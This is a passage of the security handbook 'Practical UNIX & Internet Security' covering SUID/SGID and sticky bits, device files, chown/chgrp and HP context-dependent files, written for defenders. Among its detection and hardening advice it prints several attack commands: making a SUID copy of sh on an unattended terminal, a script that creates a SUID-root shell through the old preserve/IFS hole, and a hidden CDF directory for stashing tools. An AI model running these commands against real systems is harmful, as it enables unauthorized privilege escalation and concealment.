Sometimes, unprivileged users must be able to accomplish tasks that require privileges. An example is the passwd program, which allows you to change your password. Changing a user's password requires modifying the password field in the /etc/passwd file. However, you should not give a user access to change this file directly - the user could change everybody else's password as well! Likewise, the mail program requires that you be able to insert a message into the mailbox of another user, yet you should not to give one user unrestricted access to another's mailbox.

To get around these problems, UNIX allows programs to be endowed with privilege. Processes executing these programs can assume another UID or GID when they're running. A program that changes its UID is called a SUID program (set-UID); a program that changes its GID is called a SGID program (set-GID). A program can be both SUID and SGID at the same time.

When a SUID program is run, its effective UID[22] becomes that of the owner of the file, rather than of the user who is running it. This concept is so clever that AT&T patented it.[23]

[22] We explained effective UID in "Real and Effective UIDs" in Chapter 4, Users, Groups, and the Superuser.

[23] However, the patent has since been released into the public domain, as should all software patents, if software patents should be allowed at all.

5.5.1 SUID, SGID, and Sticky Bits

If a program is SUID or SGID, the output of the ls -l command will have the x in the display changed to an s. If the program is sticky, the last x changes to a t as shown in Table 5.13 and Figure 5.3.

Figure 5.3: Additional file permissions

Table 5.13: SUID, SGID, and Sticky Bits
Contents | Permission | Meaning
---s------ | SUID | A process that execs a SUID program has its effective UID set to be the UID of the program's owner.
------s--- | SGID | A process that execs a SGID program has its effective GID changed to the program's GID. Files created by the process can have their primary group set to this GID as well, depending on the permissions of the directory in which the files are created. Under Berkeley-derived UNIX, a process that execs an SGID program also has the program's GID temporarily added to the process's list of GIDs. Solaris and other System V-derived versions of UNIX use the SGID bit on data files to enable mandatory file locking.
---------t | sticky | This is obsolete with files, but is used for directories. See "The Origin of `Sticky' " sidebar later in this chapter.

The Origin of "Sticky"

A very long time ago, UNIX ran on machines with much less memory than today: 64 kilobytes, for instance. This amount of memory was expected to contain a copy of the operating system, I/O buffers, and running programs. This memory often wasn't sufficient when there were several large programs running at the same time.

To make the most of the limited memory, UNIX swapped processes to and from secondary storage as their turns at the CPU ended. When a program was started, UNIX would determine the amount of storage that might ultimately be needed for the program, its stack, and all its data. It then allocated a set of blocks on the swap partition of the disk or drum attached to the system. (Many systems still have a /dev/swap, or a swapper process that is a holdover from these times.)

Each time the process got a turn from the scheduler, UNIX would swap in the program and data, if needed, execute for a while, and then swap out the memory copy if the space was needed for the next process. When the process exited or exec'd another program, the swap space was reclaimed for use elsewhere. If there was not enough swap space to hold the process's memory image, the user got a "No memory error " (still possible on many versions of UNIX if a large stack or heap is involved.)

Obviously, this is a great deal of I/O traffic that could slow computation. So, one of the eventual steps was development of compiler technology that constructed executable files with two parts: pure code that would not change, and everything else. These were indicated with a special magic number in the header inside the file. When the program was first executed, the program and data were copied to their swap space on disk first, then brought into memory to execute. However, when the time comes to swap out, the code portions were not written to disk - they would not have changed from what was already on disk! This change was a big savings.

The next obvious step was to stop some of that extra disk-to-disk copying at start-up time. Programs that were run frequently - such as cc, ed, and rogue - could share the same program pages. Furthermore, even if no copy was currently running, we could expect another one to be run soon. Therefore, keeping the pages in memory and on the swap partition, even while we weren't using them, made sense. The "sticky bit" was added to mark those programs as worth saving.

Since those times, larger memories and better memory management methods have largely removed the original need for the sticky bit.

In each of the cases above, the designator letter is capitalized if the bit is set, and the corresponding execute bit is not set. Thus, a file that has its sticky and SGID bits set, and is otherwise mode 444, would appear in an ls listing as

% ls -l /tmp/example
-r--r-Sr-T 1 root    user    12324 Mar 26 1995 /tmp/example

An example of a SUID program is the su command, introduced in Chapter 4:

% ls -l /bin/su
-rwsr-xr-x 1 root    user    16384 Sep 3 1989 /bin/su
%

5.5.2 Problems with SUID

Any program can be SUID, SGID, or both SUID and SGID. Because this feature is so general, SUID/SGID can open up some interesting security problems.

For example, any user can become the superuser simply by running a SUID copy of csh that is owned by root. Fortunately, you must be root already to create a SUID version of csh that is owned by root. Thus, an important objective in running a secure UNIX computer is to ensure that somebody who has superuser privileges will not leave a SUID csh on the system, directly or indirectly.

If you leave your terminal unattended, an unscrupulous passerby can destroy the security of your account simply by typing the commands:

% cp /bin/sh /tmp/break-acct
% chmod 4755 /tmp/break-acct
%

These commands create a SUID version of the sh program. Whenever the attacker runs this program, the attacker becomes you - with full access to all of your files and privileges. The attacker might even copy this SUID program into a hidden directory so that it would only be found if the superuser scanned the entire disk for SUID programs. Not all system administrators do such scanning on any regular basis.

Note that the program copied need not be a shell. Someone with malicious intent can cause you misery by creating a SUID version of other programs. For instance, consider a SUID version of the editor program. With it, not only can he read or change any of your files, but he can also spawn a shell running under your UID.

Most SUID system programs are SUID root; that is, they become the superuser when they're executing. In theory, this aspect is not a security hole, because a compiled program can perform only the function or functions that were compiled into it. (That is, you can change your password with the passwd program, but you cannot alter the program to change somebody else's password.) But many security holes have been discovered by people who figured out ways of making a SUID program do something that it was not designed to do. In many circumstances, programs that are SUID root could easily have been designed to be SUID something else (such as daemon, or some UID created especially for the purpose). Too often, SUID root is used when something with less privilege would be sufficient.

In Chapter 23, Writing Secure SUID and Network Programs, we provide some suggestions on how to write more secure programs in UNIX. If you absolutely must write a SUID or SGID program (and we advise you not to), then consult that chapter first.

5.5.3 SUID Shell Scripts

Under most versions of UNIX, you can create shell scripts[24] that are SUID or SGID. That is, you can create a shell script and, by setting the shell script's owner to be root and setting its SUID bit, you can force the shell script to execute with superuser privileges.

[24] Actually, any interpreted scripts.

You should never write SUID shell scripts.

Because of a fundamental flaw with the UNIX implementation of shell scripts and SUID, you cannot execute SUID shell scripts in a completely secure manner on systems that do not support the /dev/fd device. This flaw arises because executing a shell script under UNIX involves a two-step process: when the kernel determines that a shell script is about to be run, it first starts up a SUID copy of the shell interpreter, then the shell interpreter begins executing the shell script. Because these two operations are performed in two discrete steps, you can interrupt the kernel after the first step and switch the file that the shell interpreter is about to execute. In this fashion, an attacker could get the computer to execute any shell script of his or her choosing, which essentially gives the attacker superuser privileges. Although this flaw is somewhat mitigated by the /dev/fd device, even on systems that do support a /dev/fd device, SUID shell scripts are very dangerous and should be avoided.

Some modern UNIX systems ignore the SUID and SGID bits on shell scripts for this reason. Unfortunately, many do not. Instead of writing SUID shell scripts, we suggest that you use the Perl programming language for these kinds of tasks. A version of Perl called taintperl [25] will force you to write SUID scripts that check their PATH environment variable and that do not use values supplied by users for parameters such as filenames unless they have been explicitly "untainted." Perl has many other advantages for system administration work as well. We describe some of them in Chapter 23. You can also learn more about Perl from the excellent O'Reilly book, Programming Perl, by Larry Wall and Randal L. Schwartz.

[25] In release 5 of Perl, this option is replaced by the -T option to Perl.

5.5.3.1 write: Example of a possible SUID/SGID security hole

The authors of SUID and SGID programs try to ensure that their software won't create security holes. Sometimes, however, a SUID or SGID program can create a security hole if the program isn't installed in the way the program author planned.

For example, the write program, which prints a message on another user's terminal, is SGID tty. For security reasons, UNIX doesn't normally let users read or write information to another's terminal; if it did, you could write a program to read another user's keystrokes, capturing any password that she might type. To let the write program function, every user's terminal is also set to be writable by the tty group. Because write is SGID tty, the write program lets one user write onto another user's terminal. It first prints a message that tells the recipient the name of the user who is writing onto her terminal.

But write has a potential security hole - its shell escape. By beginning a line with an exclamation mark, the person using the write program can cause arbitrary programs to be run by the shell. (The shell escape is left over from the days before UNIX had job control. The shell escape made it possible to run another command while you were engaged in a conversation with a person on the computer using write.) Thus, write must give up its special privileges before it invokes a shell; otherwise, the shell (and any program the user might run) would inherit those privileges as well.

The part of the write program that specifically takes away the tty group permission before the program starts up the shell looks like this:

setgid(getgid()); /* Give up effective group privs */
execl(getenv("SHELL"),"sh","-c",arg,0);

Notice that write changes only its GID, not its effective UID. If write is installed SUID root instead of SGID tty, the program will appear to run properly but any program that the user runs with the shell escape will actually be run as the superuser! An attacker who has broken the security on your system once might change the file permissions of the write program, leaving a hole that he or she could exploit in the future. The program, of course, will still function as before.

5.5.3.2 Another SUID example: IFS and the /usr/lib/preserve hole

Sometimes, an interaction between a SUID program and a system program or library creates a security hole that's unknown to the author of the program. For this reason, it can be extremely difficult to know if a SUID program contains a security hole or not.

One of the most famous examples of a security hole of this type existed for years in the program called /usr/lib/preserve (which is now given names similar to /usr/lib/ex3.5preserve). This program, which is used by the vi and ex editors, automatically makes a backup of the file being edited if the user is unexpectedly disconnected from the system before writing out changes to the file. The preserve program writes the changes to a temporary file in a special directory, then uses the /bin/mail program to send the user a notification that the file has been saved.

Because people might be editing a file that was private or confidential, the directory used by the older version of the preserve program was not accessible by most users on the system. Therefore, to let the preserve program write into this directory, and let the recover program read from it, these programs were made SUID root.

Three details of the /usr/lib/preserve implementation worked together to allow knowledgeable system crackers to use the program to gain root privileges:

  1. preserve was installed SUID root.

  2. preserve ran /bin/mail as the root user to alert users that their files had been preserved.

  3. preserve executed the mail program with the system() function call.

The problem was that the system function uses sh to parse the string that it executes. There is a little-known shell variable called IFS, the internal field separator, which sh uses to figure out where the breaks are between words on each line that it parses. Normally, IFS is set to the white space characters: space, tab, and newline. But by setting IFS to the slash character (/) then running vi, and then issuing the preserve command, it was possible to get /usr/lib/preserve to execute a program in the current directory called bin. This program was executed as root. (/bin/mail got parsed as bin with the argument mail.)

If a user can convince the operating system to run a command as root, that user can become root. To see why this is so, imagine a simple shell script which might be called bin, and run through the hole described earlier:[26]

[26] There is actually a small bug in this shell script; can you find it?

#
# Shell script to make an SUID-root shell
#
cd /homes/mydir/bin
cp /bin/sh ./sh
# Now do the damage!
chown root sh
chmod 4755 sh

This shell script would get a copy of the Bourne shell program into the user's bin directory, and then make it SUID root. Indeed, this is the very way that the problem with /usr/lib/preserve was exploited by system crackers.

The preserve program had more privilege than it needed - it violated a basic security principle called least privilege. Least privilege states that a program should have only the privileges it needs to perform the particular function it's supposed to perform, and no others. In this case, instead of being SUID root, /usr/lib/preserve should have been SGID preserve, where preserve would have been a specially created group for this purpose. Although this restriction would not have completely eliminated the security hole, it would have made its presence considerably less dangerous. Breaking into the preserve group would have only let the attacker view files that had been preserved.

Although the preserve security hole was a part of UNIX since the addition of preserve to the vi editor, it wasn't widely known until 1986. For a variety of reasons, it wasn't fixed until a year after it was widely publicized.

NOTE: If you are using an older version of UNIX that can't be upgraded, remove the SUID permission from /usr/lib/preserve to patch this security hole.

Newer editions of UNIX sh ignore IFS if the shell is running as root or if the effective user ID differs from the real user ID. Many other shells have similarly been enhanced, but not all have. The idea that there are still programs being shipped by vendors in 1995 with this same IFS vulnerability inside is interesting and very depressing. The general problem has been known for over 10 years, and people are still making the same (dumb) mistakes.

5.5.4 Finding All of the SUID and SGID Files

You should know the names of all SUID and SGID files on your system. If you discover new SUID or SGID files, somebody might have created a trap door that they can use at some future time to gain superuser access. You can list all of the SUID and SGID files on your system with the command:

# find / \(-perm -004000
-o -perm -002000 \) -type f -print

This find command starts in the root directory (/) and looks for all files that match mode 002000 (SGID) or mode 004000 (SUID). The -type f option causes the search to be restricted to files. The -print option causes the name of every matching file to be printed.

NOTE: If you are using NFS, you should execute find commands only on your file servers. You should further restrict the find command so that it does not try to search networked disks. Otherwise, use of this command may cause an excessive amount of NFS traffic on your network. To restrict your find command, use the following:

# find / \( -local -o -prune \)
         \( -perm -004000 -o -perm -002000 \)  		-type f -print

NOTE: Alternatively, if your find command has the -xdev option, you can use it to prevent find from crossing filesystem boundaries. To search the entire filesystem using this option means running the command multiple times, once for each mounted partition.

Be sure that you are the superuser when you run find, or you may miss SUID files hidden in protected directories.

5.5.4.1 The ncheck command

The ncheck command is an old UNIX command that prints a list of each file on your system and its corresponding inode number. When used with the -s option, ncheck restricts itself to listing all of the "special" inodes on your system - such as the devices and SUID files.

The ncheck command runs on a filesystem-by-filesystem basis. For example:

# ncheck -s | cat -ve -
/dev/dsk/c0t3d0s0:
125     /dev/fd/0
513     /dev/fd/1
514     /dev/fd/2

        ...

533     /dev/fd/21
534     /dev/fd/22
535     /dev/fd/23
3849    /sbin/su
3850    /sbin/sulogin

(The cat -ve command is present in the above to print control characters so that they will be noticed, and to indicate the end of line for filenames that end in spaces.)

The ncheck command is very old, and has largely been superseded by other commands. It may not be present on all versions of UNIX, although it is present in SVR4. If you run it, you may discover that it is substantially faster than the find command, because ncheck reads the inodes directly, rather than searching through files in the filesystem. However, ncheck still needs to read some directory information to obtain pathnames, so it may not be that much faster.

Unlike find, ncheck will locate SUID files that are hidden beneath directories that are used as mount-point. In this respect, ncheck is superior to find, because find can't find such files because they do not have complete pathnames as long as the mounts are mounted.

You must be superuser to run ncheck.

5.5.5 Turning Off SUID and SGID in Mounted Filesystems

If you mount remote network filesystems on your computer, or if you allow users to mount their own floppy disks or CD-ROMS, you usually do not want programs that are SUID on these filesystems to be SUID on your computer as well. In a network environment, honoring SUID files means that if an attacker manages to take over the remote computer that houses the filesystem, he can also take over your computer, simply by creating a SUID program on the remote filesystem and running the program on your machine. Likewise, if you allow users to mount floppy disks containing SUID files on your computer, they can simply create a floppy disk with a SUID ksh on another computer, mount the floppy disk on your computer, and run the program - making themselves root.

You can turn off the SUID and SGID bits on mounted filesystems by specifying the nosuid option with the mount command. You should always specify this option when you mount a foreign filesystem unless there is an overriding reason to import SUID or SGID files from the filesystem you are mounting. Likewise, if you write a program to mount floppy disks for a user, that program should specify the nosuid option (because the user can easily take his or her floppy disk to another computer and create a SUID file).

For example, to mount the filesystem athena in the /usr/athena directory from the machine zeus with the nosuid option, type the command:

# /etc/mount -o nosuid zeus:/athena /usr/athena

Some systems also support a -nodev option that causes the system to ignore device files that may be present on the mounted partition. If your system supports this option, you should use it, too. If your user creates a floppy with a mode 777 kmem, for instance, he can subvert the system with little difficulty if he is able to mount the floppy disk. This is because UNIX treats the /dev/kmem on the floppy disk the same way that it treats the /dev/kmem on your main system disk - it is a device that maps to your system's kernel memory.

5.5.6 SGID and Sticky Bits on Directories

Although the SGID and sticky bits were originally intended for use only with programs, Berkeley UNIX, SunOS, Solaris and other operating systems also use these bits to change the behavior of directories, as shown in Table 5.14.

Table 5.14: Behavior of SGID and Sticky Bits with Directories
Bit | Effect
SGID bit | The SGID bit on a directory controls the way that groups are assigned for files created in the directory. If the SGID bit is set, files created in the directory have the same group as the directory if the process creating the file also is in that group. Otherwise, if the SGID bit is not set, or if the process is not in the same group, files created inside the directory have the same group as the user's effective group ID (usually the primary group ID).
Sticky bit | If the sticky bit is set on a directory, files inside the directory may be renamed or removed only by the owner of the file, the owner of the directory, or the superuser (even if the modes of the directory would otherwise allow such an operation); on some systems, any user who can write to a file can also delete it. This feature was added to keep an ordinary user from deleting another's files in the /tmp directory.

For example, to set the mode of the /tmp directory on a system so any user can create or delete her own files but can't delete another's files, type the command:

# chmod 1777 /tmp

Many older versions of UNIX (System V prior to Release 4, for instance) do not exhibit either of these behaviors. On those systems, the SGID and sticky bits on directories are ignored by the system. However, on a few of these older systems (including SVR3), setting the SGID bit on the directory resulted in "sticky" behavior.

5.5.7 SGID Bit on Files (System V UNIX Only): Mandatory Record Locking

If the SGID bit is set on a nonexecutable file, AT&T System V UNIX implements mandatory record locking for the file. Normal UNIX record locking is discretionary; processes can modify a locked file simply by ignoring the record-lock status. On System V UNIX, the kernel blocks a process which tries to access a file (or the portion of the file) that is protected with mandatory record locking until the process that has locked the file unlocks it. Mandatory locking is enabled only if none of the execute permission bits are turned on.

Mandatory record locking shows up in an ls listing in the SGID position as a capital "S" instead of a small "s":

% ls -F data*
-rw-rwS--- 1 fred         2048 Dec 3 1994 database
-r-x--s--x 2 bin         16384 Apr 2 1993 datamaint*

Previous: 5.4 Using Directory Permissions | Practical UNIX & Internet Security | Next: 5.6 Device Files
5.4 Using Directory Permissions | Book Index | 5.6 Device Files


[Chapter 5] 5.6 Device Files

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 5.5 SUID Chapter 5
The UNIX Filesystem 		Next: 5.7 chown: Changing a File's Owner

5.6 Device Files

Computer systems usually have peripheral devices attached to them. These devices may be involved with I/O (terminals, printers, modems); they may involve mass storage (disks, tapes); and they may have other specialized functions. The UNIX paradigm for devices is to treat each one as a file, some with special characteristics.

UNIX devices are represented as inodes, identical to files. The inodes represent either a character device or a block device (described in the sidebar). Each device is also designated by a major device number, indicating the type of device, and a minor device number, indicating which one of many similar devices the inode represents. For instance, the partitions of a physical disk will all have the same major device number, but different minor device numbers. For a serial card, the minor device number may represent which port number is in use. When a program reads from or writes to a device file, the kernel turns the request into an I/O operation with the appropriate device, using the major/minor device numbers as parameters to indicate which device to access.

Block Vs. Character Devices

Most devices in UNIX are referenced as character devices. These are also known as raw devices. The reason for the name "raw device" is because that is what you get - raw access to the device. You must make your read and write calls to the device file in the natural transfer units of the device. Thus, you probably read and write single characters at a time to a terminal device, but you need to read and write sectors to a disk device. Attempts to read fewer (or more) bytes than the natural block size results in an error, because the raw device doesn't work that way.

When accessing the filesystem, we often want to read or write only the next few bytes of a file at a time. If we used the raw device, it would mean that to write a few bytes to a file, we would need to read in the whole sector off disk containing those bytes, modify the ones we want to write, and then write the whole sector back out. Now consider every user doing that as they update each file. That would be a lot of disk traffic!

The solution is to make efficient use of caching. Block devices are cached versions of character devices. When we make reference to a few bytes of the block device, the kernel reads the corresponding sector into a buffer in memory, and then copies the characters out of the buffer that we wanted. The next time we reference the same sector, to read from or write to, the access goes to the cached version in memory. If we have enough memory, most of the files we will access can all be kept in buffers, resulting in much better performance.

There is a drawback to block devices, however. If the system crashes before modified buffers get written back out to disk, the changes our programs made won't be there when the system reboots. Thus, we need to periodically flush the modified buffers out to disk. That is effectively what the sync () system call does: schedule the buffers to be flushed to disk. Most systems have a syn or fsflush daemon that issues a sync() call every 30 or 60 seconds to make sure the disk is mostly up to date. If the system goes down between sync() calls, we need to run a program such as fsck or checkfsys to make certain that no directories whose buffers were in memory were left in an inconsistent state.

UNIX usually has some special device files that don't correspond to physical devices. The /dev/null device simply discards anything written to it, and nothing can ever be read from it - a process that attempts to do so gets an immediate end-of-file condition. Writing to the /dev/console device results in output being printed on the system console terminal. And reading or writing to the /dev/kmem device accesses the kernel's memory. Devices such as these are often referred to as pseudo-devices.

Device files are one of the reasons UNIX is so flexible and popular - they allow programmers to write their programs in a general way without having to know the actual type of device being used. Unfortunately, they also can present a major security hazard when an attacker is able to access them in an unauthorized way.

For instance, if attackers can read or write to the /dev/kmem device, they may be able to alter their priority, UID, or other attributes of their process. They could also scribble garbage data over important data structures and crash the system. Similarly, access to disk devices, tape devices, network devices, and terminals being used by others all can lead to problems. Access to your screen buffer might allow an attacker to read what is displayed on your screen. Access to your audio devices might allow an attacker to eavesdrop on your office without your knowing about it.

In standard configurations of UNIX, all the standard device files are located in the directory /dev. There is usually a script (e.g., MAKEDEV) in that directory that can be run to create the appropriate device files and set the correct permissions. A few devices, such as /dev/null, /dev/tty, and /dev/console, should all be world-writable, but most of the rest should be unreadable and unwritable by regular users. Note that on some System V systems, many of the files in /dev are symbolic links to files in the /devices directory: those are the files whose permissions you need to check.

Check the permissions on these files when you install the system, and periodically thereafter. If any permission is changed, or any device is accessible to all users, you should investigate. This research should be included as part of your checklists.

Unauthorized Device Files

Although device files are normally located in the /dev directory, they may, in fact, be anywhere on your system. A common method used by system crackers is to get on the system as the superuser and then create a writable device file in a hidden directory, such as the /dev/kmem device hidden in /usr/lib and named to resemble one of the libraries. Later, if they wish to become superuser again, they know the correct locations in /dev/kmem to alter with a symbolic debugger or custom program to allow them that access. For instance, by changing the code for a certain routine to always return true, they can execute su to become root without needing a password. Then, they set the routine back to normal.

You should periodically scan your disks for unauthorized device files. The ncheck command, mentioned earlier, will print the names of all device files when run with the -s option. Alternatively, you can execute the following:

# find / \( -type c -o -type b \) -exec ls -l {} \;

If you have NFS-mounted directories, use this version of the script:

# find / \( -local -o -prune \) \( -type c -o -type b \) -exec ls -l {} \;

Note that some versions of NFS allow users on remote machines running as root to create device files on exported volumes. [27] This is a major problem. Be very careful about exporting writable directories using NFSDEVICE FILESFILESDEVICE (see Chapter 20, for more information).

[27] Of course, these modifications cannot be made if the filesystem is exported read only.

Not Everything Is a File or a Device!

The two commands:

find / \! -type f -a \! -type d -exec ls -l {} \;

and:

find / \( -type c -o -type b \) -exec ls -l {} \;

are not equivalent!

The first command prints all of the entries in the filesystem that are not files or directories. The second prints all of the entries in the filesystem that are either character or block devices.

Why aren't these commands the same? Because there are other things that can be in a filesystem that are neither files nor directories. These include:

  • Symbolic Links

  • Sockets

  • Named pipes (FIFOS)

Previous: 5.5 SUID | Practical UNIX & Internet Security | Next: 5.7 chown: Changing a File's Owner
5.5 SUID | Book Index | 5.7 chown: Changing a File's Owner


[Chapter 5] 5.7 chown: Changing a File's Owner

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 5.6 Device Files Chapter 5
The UNIX Filesystem 		Next: 5.8 chgrp: Changing a File's Group

5.7 chown: Changing a File's Owner

The chown command lets you change the owner of a file. Only the superuser can change the owner of a file under most modern versions of UNIX.

The chown command has the form:

chown [ -fRh ] owner filelist

The -f and -R options are interpreted exactly as they are for the chmod and chgrp commands, if supported. The -h option is a bit different from that of chmod. Under chown, the option specifies that the owner of the link itself is changed and not what the link points to.

Other entries have the following meanings:

owner

The file's new owner; specify the owner by name or by decimal UID.

filelist

The list of files whose owner you are changing.

In earlier versions of UNIX, all users could run the chown command to change the ownership of a file that they owned to that of any other user on the system. This let them "give away" a file. The feature made sharing files back and forth possible, and allowed a user to turn over project directories to someone else.

Allowing users to give away files can be a security problem because it makes a miscreant's job of hiding his tracks much easier. If someone has acquired stolen information or is running programs that are trying to break computer security, that person can simply change the ownership of the files to that of another user. If he sets the permissions correctly, he can still read the results. Permitting file give-aways also makes file quotas useless: a user who runs out of quota simply changes the ownership of his larger files to another user. Worse, perhaps, he can create a huge file and change its ownership to someone else, exceeding the user's quota instantly. If the file is in a directory to which the victim does not have access, he or she is stuck.

The BSD development group saw these problems and changed the behavior of chown so that only the superuser could change ownership of files. This change has led to an interesting situation. When the POSIX group working on a standard was faced with the hard choice of which behavior to pick as standard, they bravely took a stand and said "both." Thus, depending on the setting of a system configuration parameter, your system can use either the old AT&T behavior, or the BSD-derived behavior. We strongly urge you to choose the BSD-derived behavior. Not only does it allow you to use file quotas and keep mischievous users from framing other users, but many software packages you might download from the net or buy from vendors will not work properly if run under the old AT&T-style environment.

NOTE: If your system came to you with the old chown behavior, then ensure that the software was written with that in mind. Be extra careful as you read some of our advice in this book, because a few things we might recommend won't work for you on such a system. Also, be especially cautious about software you might download from the net or buy from a vendor. Most of this software has been developed under BSD-derived systems that limit use of chown to the superuser. Thus, the software might have vulnerabilities when run under your environment.

Do not mix the two types of systems when you are using some form of network filesystem or removable, user-mountable media. The result can be a compromise of your system. Files created using one paradigm may possibly be exploited using another.

Under some versions of UNIX (particularly those that let nonsuperusers chown files), chown will clear the SUID, SGID, and sticky bits. This is a security measure, so that SUID programs are not accidentally created. If your version of UNIX does not clear these bits when using chown, check with an ls -l after you have done a chown to make sure that you have not suddenly created a SUID program that will allow your system's security to be compromised. (Actually, this process is a good habit to get into even if your system does do the right thing.) Other versions of UNIX will clear the execute, SUID, and SGID bits when the file is written or modified. You should determine how your system behaves under these circumstances and be alert to combinations of actions that might accidentally create a SUID or SGID file. POSIX specifies that when chown is executed on a symbolic link, the ownership of the target of the link is changed instead of the ownership of the link itself. POSIX further specifies that the -R option does not follow symbolic links if they point to directories (but nevertheless changes the ownership of these directories). On most modern systems of UNIX, there is a -h option to chown (and chgrp and chmod) that instructs the command to not follow the link and to instead change the permissions on the link itself - or to ignore the symbolic link and change nothing. You should understand how this behaves on your system and use it if appropriate.

Previous: 5.6 Device Files | Practical UNIX & Internet Security | Next: 5.8 chgrp: Changing a File's Group
5.6 Device Files | Book Index | 5.8 chgrp: Changing a File's Group


[Chapter 5] 5.8 chgrp: Changing a File's Group

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 5.7 chown: Changing a File's Owner Chapter 5
The UNIX Filesystem 		Next: 5.9 Oddities and Dubious Ideas

5.8 chgrp: Changing a File's Group

The chgrp command lets you change the group of a file. The behavior here mirrors that of chown. Under most modern versions of UNIX, you can change the group of a file if you are either one of the following users:

  • You are the file's owner and you are in the group to which you are trying to change the file.

  • You are the superuser.

On older AT&T versions of UNIX, you may set any file you own to any group that you want. That is, you can "give away" files to other groups, the same as you can give away files to other users. Beware.

The chgrp command has the form:

chgrp [ -fRh ] group filelist

The -f and -R options are interpreted the same as they are for the chmod and chown commands. The -h option is a bit different from that of chmod. Under chgrp, the option specifies that the group of the link itself is changed and not what the link points to.

Other entries have the following meanings:

group

The group to which you are changing the file(s). The group may be specified by name or with its decimal GID.

filelist

The list of files whose group you are changing.

For example, to change the group of the file paper.tex to chem, you would type:

% chgrp chem paper.tex
% ls -l paper.tex
-rw-r--r-- 1 kevin      chem      59321 Jul 12 13:54 paper.tex
%

Previous: 5.7 chown: Changing a File's Owner | Practical UNIX & Internet Security | Next: 5.9 Oddities and Dubious Ideas
5.7 chown: Changing a File's Owner | Book Index | 5.9 Oddities and Dubious Ideas


[Chapter 5] 5.9 Oddities and Dubious Ideas

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 5.8 chgrp: Changing a File's Group Chapter 5
The UNIX Filesystem 		Next: 5.10 Summary

5.9 Oddities and Dubious Ideas

In closing, we'll mention two rather unusual ideas in filesystems. This information is provided partially for completeness, in the event that one of our readers has such a system. The second reason is to document some ideas we don't think helped security very much. We hope we don't encounter anything like them again any time soon.

5.9.1 Dual Universes

Throughout this book, you will find that we often mention how the behavior of a command or action may be different if your version of UNIX is derived from BSD or AT&T UNIX. These differences are not so great as they once were, as SVR4 is the result of a merger of the majority of these two lines into one system.

However, in years gone by, the two systems were separate. This presented an interesting puzzle for some vendors who wanted to cater to both markets. Thus, someone came up with the idea of universes. The idea itself was fairly simple. Create a per-process "switch" in memory that would be set to either BSD or AT&T. The behavior of various system calls might depend on the value of the switch. Furthermore, certain special directories could be set up so that the directory you'd actually see would depend on the switch setting. Thus, you could have /usr/bin full of user programs, but it would really be two /usr/bin directories - one of BSD and one of AT&T!

Several companies adopted variations of the universe concept, including Pyramid, Apollo, Masccomp, and Sequent. In some of these systems, the switch from one environment to another was almost seamless, from the user's point of view. However, the scheme had several problems:

  • It took more disk space for standard configuration. The standard system needed two copies of libraries, man pages, commands, and more.

  • In most environments all the users stayed in a single universe. Shops were seldom heterogeneous in environment, so users preferred to stay with a familiar interface on everything they did.

  • Patching and maintaining the programs took more than twice the effort because they required that users consider interactions between software in each universe.

  • System administration was often a nightmare. You didn't necessarily know where all your commands were; you might need to worry about configuring two different UUCP systems; you couldn't always tell which version of a program was spawning jobs; and so on.

Also important to all of this was the problem of security. Often, clever manipulation of interactions between programs in the two universes could be used to break security. Additionally, a bug discovered in one universe was often mirrored in the software of the other, but usually only one got fixed (at first).

Eventually, everyone supporting a dual-universe system switched back to a single version of UNIX. Nevertheless, Solaris perpetuates some of these problems. For example, Solaris has two versions of the ls command, one in /usr/bin/ls, one in /usr/ucb/ls. It also has two versions of head, more, ln, ps, and many other commands. Thus, you need to check your search path carefully to know which version of a command you may be using.

5.9.2 Context-Dependent Files

To support diskless workstations, Hewlett-Packard developed a system called Context Dependent Files, or CDF. CDFS allow for multiple configurations to reside on a single computer. The goal of CDFS was to allow one master server to maintain multiple filesystems that will be viewed differently by different clients. This mechanism thus allows a single server to support a group of heterogeneous clients.

A CDF is basically a hidden directory whose contents are matched against the current context. HP explains it as follows:[28]

[28] From the HP man page for CDF.

A CDF is implemented as a special kind of directory, marked by a bit in its mode (see chmod). The name of the CDF is the name of the directory; the contents of the directory are files with names that are expected to match one part of a process context. When such a directory is encountered during a pathname search, the names of the files in the directory are compared with each string in the process's context, in the order in which the strings appear in the context. The first match is taken to be the desired file. The name of the directory thus refers to one of the files within it, and the directory itself is normally invisible to the user. Hence, the directory is called a hidden directory.

When a process with a context that does not match any filenames in the hidden directory attempts to access a file by the pathname of the hidden directory, the reference is unresolved; no file with that pathname appears to exist...

A hidden directory itself can be accessed explicitly, overriding the normal selection according to context, by appending the character `+' to the directory's file name.

Thus, HP-UX had directories that were invisible unless they contained a file that matched the running processes' current context.

CDFS are a powerful abstraction, but they were sometimes exploited by attackers. For example, the following sequence of commands will create a CDF directory:

% mkdir ./Hidden
% chmod +H ./Hidden

This resulted in a directory that was normally invisible unless the -H option was used with the ls or find commands. A clever attacker could store all kinds of tools, stolen data files, and other interesting bits in such a directory. If the system administrator was not in the habit or was not trained to use the ls command with the -H option, then the directory might go unnoticed. The cracker could also find an existing CDF and store things in among the other files! As long as none of the filenames matched an existing context, they would probably never be noticed.

Even worse, tools the system administrator obtained for checking the system's overall security might not be aware of the -H flag, and not invoke it.

HP has dropped support for CDFS and moved to the use of NFS in version 10 of HP-UX, released in the spring of 1995. If you are not using version 10 or later, you should be sure to use the -H option on all ls and find commands!

Previous: 5.8 chgrp: Changing a File's Group | Practical UNIX & Internet Security | Next: 5.10 Summary
5.8 chgrp: Changing a File's Group | Book Index | 5.10 Summary


[Chapter 5] 5.10 Summary

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 5.9 Oddities and Dubious Ideas Chapter 5
The UNIX Filesystem 		Next: 6. Cryptography

5.10 Summary

The UNIX filesystem is the primary tool that is used by the UNIX operating system for enforcing computer security. Although the filesystem's concepts of security- - separate access permissions for the file's user, group, and world - are easy to understand, a UNIX system can be very difficult to administer because of the complexity of getting every single file permission correct.

Because of the attention to detail required by the UNIX system, you should use measures beyond the filesystem to protect your data. One of the best techniques that you can use is encryption, which we describe in the next chapter.

Previous: 5.9 Oddities and Dubious Ideas | Practical UNIX & Internet Security | Next: 6. Cryptography
5.9 Oddities and Dubious Ideas | Book Index | 6. Cryptography


[Chapter 6] Cryptography

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 5.10 Summary Chapter 6 Next: 6.2 What Is Encryption?

6. Cryptography

Contents:
